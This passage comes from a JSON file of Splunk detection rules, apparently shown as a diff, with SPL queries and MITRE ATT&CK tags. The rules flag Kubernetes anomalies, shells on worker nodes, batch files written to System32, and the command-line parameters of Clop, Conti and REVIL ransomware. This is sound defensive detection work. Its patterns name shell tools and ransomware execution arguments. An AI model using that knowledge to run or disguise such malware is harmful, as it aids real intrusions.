where `kubernetes_metrics` AND earliest=-30d latest=-1h by host.name k8s.cluster.name k8s.node.name process.pid process.executable.path process.executable.name ] | stats count values(current) as current by host.name k8s.cluster.name k8s.node.name process.pid process.executable.name process.executable.path | where count=1 and current=\"True\" | rename host.name as host | `kubernetes_process_running_from_new_path_filter`", - "tags": { - "analytic_story": [ - "Abnormal Kubernetes Behavior using Splunk Infrastructure Monitoring" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Kubernetes Process Running From New Path on host $host$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes Process with Anomalous Resource Utilisation", - "description": "The following analytic identifies high resource utilization anomalies in Kubernetes processes. It leverages process metrics from an OTEL collector and hostmetrics receiver, fetched via the Splunk Infrastructure Monitoring Add-on. The detection uses a lookup table with average and standard deviation values to spot anomalies. This activity is significant as high resource utilization can indicate security threats like cryptojacking, unauthorized data exfiltration, or compromised containers. If confirmed malicious, such anomalies can disrupt services, exhaust resources, increase costs, and allow attackers to evade detection or maintain access.", - "search": "| mstats avg(process.*) as process.* where `kubernetes_metrics` by host.name k8s.cluster.name k8s.node.name process.executable.name span=10s | eval key = 'k8s.cluster.name' + \":\" + 'host.name' + \":\" + 'process.executable.name' | lookup k8s_process_resource_baseline key | fillnull | eval anomalies = \"\" | foreach stdev_* [ eval anomalies =if( '<>' > ('avg_<>' + 4 * 'stdev_<>'), anomalies + \"<> higher than average by \" + tostring(round(('<>' - 'avg_<>')/'stdev_<>' ,2)) + \" Standard Deviations. <>=\" + tostring('<>') + \" avg_<>=\" + tostring('avg_<>') + \" 'stdev_<>'=\" + tostring('stdev_<>') + \", \" , anomalies) ] | eval anomalies = replace(anomalies, \",\\s$\", \"\") | where anomalies!=\"\" | stats count values(anomalies) as anomalies by host.name k8s.cluster.name k8s.node.name process.executable.name | sort - count | where count > 5 | rename host.name as host | `kubernetes_process_with_anomalous_resource_utilisation_filter`", - "tags": { - "analytic_story": [ - "Abnormal Kubernetes Behavior using Splunk Infrastructure Monitoring" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Kubernetes Process with Anomalous Resource Utilisation on host $host$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes Process with Resource Ratio Anomalies", - "description": "The following analytic detects anomalous changes in resource utilization ratios for processes running on a Kubernetes node. It leverages process metrics collected via an OTEL collector and hostmetrics receiver, analyzed through Splunk Observability Cloud. The detection uses a lookup table containing average and standard deviation values for various resource ratios (e.g., CPU:memory, CPU:disk operations). Significant deviations from these baselines may indicate compromised processes, malicious activity, or misconfigurations. If confirmed malicious, this could signify a security breach, allowing attackers to manipulate workloads, potentially leading to data exfiltration or service disruption.", - "search": "| mstats avg(process.*) as process.* where `kubernetes_metrics` by host.name k8s.cluster.name k8s.node.name process.executable.name span=10s | eval cpu:mem = 'process.cpu.utilization'/'process.memory.utilization' | eval cpu:disk = 'process.cpu.utilization'/'process.disk.operations' | eval mem:disk = 'process.memory.utilization'/'process.disk.operations' | eval cpu:threads = 'process.cpu.utilization'/'process.threads' | eval disk:threads = 'process.disk.operations'/'process.threads' | eval key = 'k8s.cluster.name' + \":\" + 'host.name' + \":\" + 'process.executable.name' | lookup k8s_process_resource_ratio_baseline key | fillnull | eval anomalies = \"\" | foreach stdev_* [ eval anomalies =if( '<>' > ('avg_<>' + 4 * 'stdev_<>'), anomalies + \"<> ratio higher than average by \" + tostring(round(('<>' - 'avg_<>')/'stdev_<>' ,2)) + \" Standard Deviations. <>=\" + tostring('<>') + \" avg_<>=\" + tostring('avg_<>') + \" 'stdev_<>'=\" + tostring('stdev_<>') + \", \" , anomalies) ] | eval anomalies = replace(anomalies, \",\\s$\", \"\") | where anomalies!=\"\" | stats count values(anomalies) as anomalies by host.name k8s.cluster.name k8s.node.name process.executable.name | where count > 5 | rename host.name as host | `kubernetes_process_with_resource_ratio_anomalies_filter`", - "tags": { - "analytic_story": [ - "Abnormal Kubernetes Behavior using Splunk Infrastructure Monitoring" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Kubernetes Process with Resource Ratio Anomalies on host $host$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes Shell Running on Worker Node", - "description": "The following analytic identifies shell activity within the Kubernetes privilege scope on a worker node. It leverages process metrics from an OTEL collector hostmetrics receiver, specifically process.cpu.utilization and process.memory.utilization, pulled from Splunk Observability Cloud. This activity is significant as unauthorized shell processes can indicate potential security threats, providing attackers an entry point to compromise the node and the entire Kubernetes cluster. If confirmed malicious, this activity could lead to data theft, service disruption, privilege escalation, lateral movement, and further attacks, severely compromising the cluster's security and integrity.", - "search": "| mstats avg(process.cpu.utilization) as process.cpu.utilization avg(process.memory.utilization) as process.memory.utilization where `kubernetes_metrics` AND process.executable.name IN (\"sh\",\"bash\",\"csh\", \"tcsh\") by host.name k8s.cluster.name k8s.node.name process.pid process.executable.name span=10s | search process.cpu.utilization>0 OR process.memory.utilization>0 | stats avg(process.cpu.utilization) as process.cpu.utilization avg(process.memory.utilization) as process.memory.utilization by host.name k8s.cluster.name k8s.node.name process.pid process.executable.name | rename host.name as host | `kubernetes_shell_running_on_worker_node_filter`", - "tags": { - "analytic_story": [ - "Abnormal Kubernetes Behavior using Splunk Infrastructure Monitoring" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Kubernetes shell running on worker node on host $host$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes Shell Running on Worker Node with CPU Activity", - "description": "The following analytic identifies shell activity within the Kubernetes privilege scope on a worker node, specifically when shell processes are consuming CPU resources. It leverages process metrics from an OTEL collector hostmetrics receiver, pulled from Splunk Observability Cloud via the Splunk Infrastructure Monitoring Add-on, focusing on process.cpu.utilization and process.memory.utilization. This activity is significant as unauthorized shell processes can indicate a security threat, potentially compromising the node and the entire Kubernetes cluster. If confirmed malicious, attackers could gain full control over the host's resources, leading to data theft, service disruption, privilege escalation, and further attacks within the cluster.", - "search": "| mstats avg(process.cpu.utilization) as process.cpu.utilization avg(process.memory.utilization) as process.memory.utilization where `kubernetes_metrics` AND process.executable.name IN (\"sh\",\"bash\",\"csh\", \"tcsh\") by host.name k8s.cluster.name k8s.node.name process.pid process.executable.name span=10s | search process.cpu.utilization>0 | stats avg(process.cpu.utilization) as process.cpu.utilization avg(process.memory.utilization) as process.memory.utilization by host.name k8s.cluster.name k8s.node.name process.pid process.executable.name | rename host.name as host | `kubernetes_shell_running_on_worker_node_with_cpu_activity_filter`", - "tags": { - "analytic_story": [ - "Abnormal Kubernetes Behavior using Splunk Infrastructure Monitoring" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Kubernetes shell with cpu activity running on worker node on host $host$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Kubernetes Unauthorized Access", - "description": "The following analytic detects unauthorized access attempts to Kubernetes by analyzing Kubernetes audit logs. It identifies anomalies in access patterns by examining the source of requests and their response statuses. This activity is significant for a SOC as it may indicate an attacker attempting to infiltrate the Kubernetes environment. If confirmed malicious, such access could lead to unauthorized control over Kubernetes resources, potentially compromising sensitive systems or data within the cluster.", - "search": "`kube_audit` verb=create responseStatus.reason=Forbidden | fillnull | stats count by objectRef.namespace objectRef.resource requestReceivedTimestamp requestURI responseStatus.code responseStatus.message sourceIPs{} stage user.groups{} user.uid user.username userAgent verb | rename sourceIPs{} as src_ip, user.username as user | `kubernetes_unauthorized_access_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Security" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Unauthorized access to Kubernetes from user $user$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Risk Rule for Dev Sec Ops by Repository", - "description": "The following analytic identifies high-risk activities within repositories by correlating repository data with risk scores. It leverages risk events from the Dev Sec Ops analytic stories, summing risk scores and capturing source and user information. The detection focuses on high-risk scores above 100 and sources with more than three occurrences. This activity is significant as it highlights repositories frequently targeted by threats, providing insights into potential vulnerabilities. If confirmed malicious, attackers could exploit these repositories, leading to data breaches or infrastructure compromise.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as sum_risk_score, values(All_Risk.annotations.mitre_attack.mitre_tactic) as annotations.mitre_attack.mitre_tactic, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories=\"Dev Sec Ops\" All_Risk.risk_object_type = \"other\" by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count > 3 and sum_risk_score > 100 | `risk_rule_for_dev_sec_ops_by_repository_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "Amazon Elastic Container Registry", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "Correlation triggered for repository $risk_object$", - "risk_score": 70, - "security_domain": "cloud", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Correlation by Repository and Risk", - "description": "This search has been deprecated and updated with Risk Rule for Dev Sec Ops by Repository detection. The following analytic detects by correlating repository and risk score to identify patterns and trends in the data based on the level of risk associated. The analytic adds any null values and calculates the sum of the risk scores for each detection. Then, the analytic captures the source and user information for each detection and sorts the results in ascending order based on the risk score. Finally, the analytic filters the detections with a risk score below 80 and focuses only on high-risk detections.This detection is important because it provides valuable insights into the distribution of high-risk activities across different repositories. It also identifies the most vulnerable repositories that are frequently targeted by potential threats. Additionally, it proactively detects and responds to potential threats, thereby minimizing the impact of attacks and safeguarding critical assets. Finally, it provides a comprehensive view of the risk landscape and helps to make informed decisions to protect the organization's data and infrastructure. False positives might occur so it is important to identify the impact of the attack and prioritize response and mitigation efforts.", - "search": "`risk_index` | fillnull | stats sum(risk_score) as risk_score values(source) as signals values(user) as user by repository | sort - risk_score | where risk_score > 80 | `correlation_by_repository_and_risk_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Correlation triggered for user $user$", - "risk_score": 70, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Correlation by User and Risk", - "description": "The following analytic detects the correlation between the user and risk score and identifies users with a high risk score that pose a significant security risk such as unauthorized access attempts, suspicious behavior, or potential insider threats. Next, the analytic calculates the sum of the risk scores and groups the results by user, the corresponding signals, and the repository. The results are sorted in descending order based on the risk score and filtered to include records with a risk score greater than 80. Finally, the results are passed through a correlation filter specific to the user and risk. This detection is important because it identifies users who have a high risk score and helps to prioritize investigations and allocate resources. False positives might occur but the impact of such an attack can vary depending on the specific scenario such as data exfiltration, system compromise, or the disruption of critical services. Please investigate this notable event.", - "search": "`risk_index` | fillnull | stats sum(risk_score) as risk_score values(source) as signals values(repository) as repository by user | sort - risk_score | where risk_score > 80 | `correlation_by_user_and_risk_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Correlation triggered for user $user$", - "risk_score": 70, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Batch File Write to System32", - "description": "The following analytic detects the creation of a batch file (.bat) within the Windows system directory tree, specifically in the System32 or SysWOW64 folders. It leverages data from the Endpoint datamodel, focusing on process and filesystem events to identify this behavior. This activity is significant because writing batch files to system directories can be indicative of malicious intent, such as persistence mechanisms or system manipulation. If confirmed malicious, this could allow an attacker to execute arbitrary commands with elevated privileges, potentially compromising the entire system.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=* by _time span=1h Processes.process_guid Processes.process_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | join process_guid [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\system32\\\\*\", \"*\\\\syswow64\\\\*\") Filesystem.file_name=\"*.bat\" by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path Filesystem.process_guid | `drop_dm_object_name(Filesystem)`] | table dest user file_create_time, file_name, file_path, process_name, firstTime, lastTime | dedup file_create_time | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `batch_file_write_to_system32_filter`", - "tags": { - "analytic_story": [ - "SamSam Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Victim" - ] - } - ], - "message": "A file - $file_name$ was written to system32 has occurred on endpoint $dest$ by user $user$.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1204.002", - "mitre_attack_technique": "Malicious File", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "Ajax Security Team", - "Andariel", - "Aoqin Dragon", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "CURIUM", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "IndigoZebra", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Whitefly", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Clop Common Exec Parameter", - "description": "The following analytic identifies the execution of CLOP ransomware variants using specific arguments (\"runrun\" or \"temp.dat\") to trigger their malicious activities. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. Monitoring this activity is crucial as it indicates potential ransomware behavior, which can lead to file encryption on network shares or local machines. If confirmed malicious, this activity could result in significant data loss and operational disruption due to encrypted files, highlighting the need for immediate investigation and response.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name != \"*temp.dat*\" Processes.process = \"*runrun*\" OR Processes.process = \"*temp.dat*\" by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `clop_common_exec_parameter_filter`", - "tags": { - "analytic_story": [ - "Clop Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting using arguments to execute its main code or feature of its code related to Clop ransomware.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Conti Common Exec parameter", - "description": "The following analytic detects the execution of suspicious command-line arguments commonly associated with Conti ransomware, specifically targeting local drives and network shares for encryption. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because it indicates a potential ransomware attack, which can lead to widespread data encryption and operational disruption. If confirmed malicious, the impact could be severe, resulting in data loss, system downtime, and potential ransom demands.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*-m local*\" OR Processes.process = \"*-m net*\" OR Processes.process = \"*-m all*\" OR Processes.process = \"*-nomutex*\" by Processes.process_name Processes.process Processes.parent_process_name Processes.parent_process Processes.dest Processes.user Processes.process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `conti_common_exec_parameter_filter`", - "tags": { - "analytic_story": [ - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ executing specific Conti Ransomware related parameters.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Detect Rare Executables", - "description": "The following analytic detects the execution of rare processes that appear only once across the network within a specified timeframe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. This activity is significant for a SOC as it helps identify potentially malicious activities or unauthorized software, which could indicate a security breach or ongoing attack. If confirmed malicious, such rare processes could lead to data theft, privilege escalation, or complete system compromise, making early detection crucial for minimizing impact.", - "search": "| tstats `security_content_summariesonly` dc(Processes.dest) as dc_dest values(Processes.dest) as dest values(Processes.user) as user min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes by Processes.process_name | `drop_dm_object_name(Processes)` | search dc_dest < 10 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_rare_executables_filter`", - "tags": { - "analytic_story": [ - "Rhysida Ransomware", - "Unusual Processes" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A rare process - [$process_name$] has been detected on less than 10 hosts in your environment.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Drop IcedID License dat", - "description": "The following analytic detects the dropping of a suspicious file named \"license.dat\" in %appdata% or %programdata%. This behavior is associated with the IcedID malware, which uses this file to inject its core bot into other processes for banking credential theft. The detection leverages Sysmon EventCode 11 to monitor file creation events in these directories. This activity is significant as it indicates a potential malware infection aiming to steal sensitive banking information. If confirmed malicious, the attacker could gain unauthorized access to financial data, leading to significant financial loss and data breaches.", - "search": "`sysmon` EventCode= 11 TargetFilename = \"*\\\\license.dat\" AND (TargetFilename=\"*\\\\appdata\\\\*\" OR TargetFilename=\"*\\\\programdata\\\\*\") |stats count min(_time) as firstTime max(_time) as lastTime by TargetFilename EventCode process_id process_name dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_icedid_license_dat_filter`", - "tags": { - "analytic_story": [ - "IcedID" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "A process $process_name$ created a file $TargetFilename$ on host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1204.002", - "mitre_attack_technique": "Malicious File", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "Ajax Security Team", - "Andariel", - "Aoqin Dragon", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "CURIUM", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "IndigoZebra", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Whitefly", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Revil Common Exec Parameter", - "description": "The following analytic detects the execution of command-line parameters commonly associated with REVIL ransomware, such as \"-nolan\", \"-nolocal\", \"-fast\", and \"-full\". It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs mapped to the `Processes` node of the `Endpoint` data model. This activity is significant because these parameters are indicative of ransomware attempting to encrypt files on a compromised machine. If confirmed malicious, this could lead to widespread data encryption, rendering critical files inaccessible and potentially causing significant operational disruption.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"* -nolan *\" OR Processes.process = \"* -nolocal *\" OR Processes.process = \"* -fast *\" OR Processes.process = \"* -full *\" by Processes.process_name Processes.process Processes.parent_process_name Processes.parent_process Processes.dest Processes.user Processes.process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `revil_common_exec_parameter_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Revil Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A process $process_name$ with commandline $process$ related to revil ransomware in host $dest$", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Single Letter Process On Endpoint", - "description": "The following analytic detects processes with names consisting of a single letter, which is often indicative of malware or an attacker attempting to evade detection. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because attackers use such techniques to obscure their presence and carry out malicious activities like data theft or ransomware attacks. If confirmed malicious, this behavior could lead to unauthorized access, data exfiltration, or system compromise. Immediate investigation is required to determine the legitimacy of the process.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes by Processes.dest, Processes.user, Processes.process, 